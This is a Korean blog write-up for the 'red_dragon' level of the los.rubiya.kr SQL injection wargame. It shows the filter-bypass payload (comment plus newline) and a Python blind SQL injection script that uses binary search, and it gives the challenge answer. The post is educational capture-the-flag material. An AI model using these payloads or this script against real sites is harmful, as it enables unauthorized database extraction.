시작하겠습니다.
보니 no는 숫자 값이네요! 만약 아니면 1로 강제 치환이 되게 해놨네요.
id는 7자리이하이구요. 저희가 알아야되는건 no의 값을 알아야만 하네요
음.. 일단 7자리는 안되게 ' or 1# 해보겠습니다.
그럼.. '||no>%23&no=%0a1 해볼게요 %23은 #이여서 한 줄만 주석 처리를 합니다.
그리고 no에 %0a는 한 줄 띄어쓰기해서 #을 피해서 1을 입력하게 합니다.
그러면?
즉 저 sql문에 주석 처리된 것을 없애서 보면
select id from prob_red_dragon where id=''||no> 1
이렇게 됩니다! 그러니 no는 당연히 1보다 크니 참이여서 admin이 나오겠죠!
그럼 이제 찾으면 되겠죠 no의 길이 값은 모릅니다. 왜냐 id의 길이가 한정되어 있기 때문이에요.
하지만 이진 탐색으로 빠르게 찾을 수 있겠죠!
이진 탐색에서 hello admin을 식별 단어로 하고 찾아보겠습니다.
import requests
import urllib.parse
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********
url = "https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php" #공격할 url 작성
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
"Cookie": "PHPSESSID=g2mjo4aaa262hjvanp12295h3k"
} #header 기본 구문, 쿠키도 작성
def blind_sqli(blind_query) :
while True :
query = input("엔터 누르세요! ")
index_value = "Hello admin" #참 거짓 식별용
value = binarySearch(query,index_value)
print(value + "\n")
def binarySearch(query, index_value) :
s = 1 #1번째 자리부터 찾기 용
start = 0
end = 1000000000000
value = ""
while True :
mid = int((start+end)/2)
data = {
"id": "'||no>#",
"no": blind_query.format(mid)
}
response = requests.get(url, params=data, headers=headers)
if index_value in response.text : #0보다 큰게 거짓이면 NULL값이므로 종료한다
break
else :
data = {
"id": "'||no>#",
"no": "\n"+blind_query.format(mid)
}
response = requests.get(url, params=data, headers=headers)
if index_value not in response.text :
end = mid #거짓이면 끝 값을 mid로 바꾼다
else :
start = mid #참이면 시작 값을 mid로 바꾼다
if start+1 >= end :
value += str(end)#만약 start값에 1 더해서 end랑 같거나 크면 end가 답이다.
print(value)
break
return value
blind_query = "{}"
blind_sqli(blind_query) #blind_query 시작
그럼 정답은 no=586482014 입니다!
'워게임' 카테고리의 다른 글
los rubiya - frankenstein(28번 문제) (0) | 2023.06.08 |
---|---|
los rubiya - 27(blue dragon) 풀이 (0) | 2023.05.31 |
los rubiya - 25(green_dragon) 풀이 (0) | 2023.05.25 |
los rubiya - 24(evil_wizard) 풀이 (1) | 2023.05.24 |
los rubiya - 23(hell_fire) 풀이 (0) | 2023.05.24 |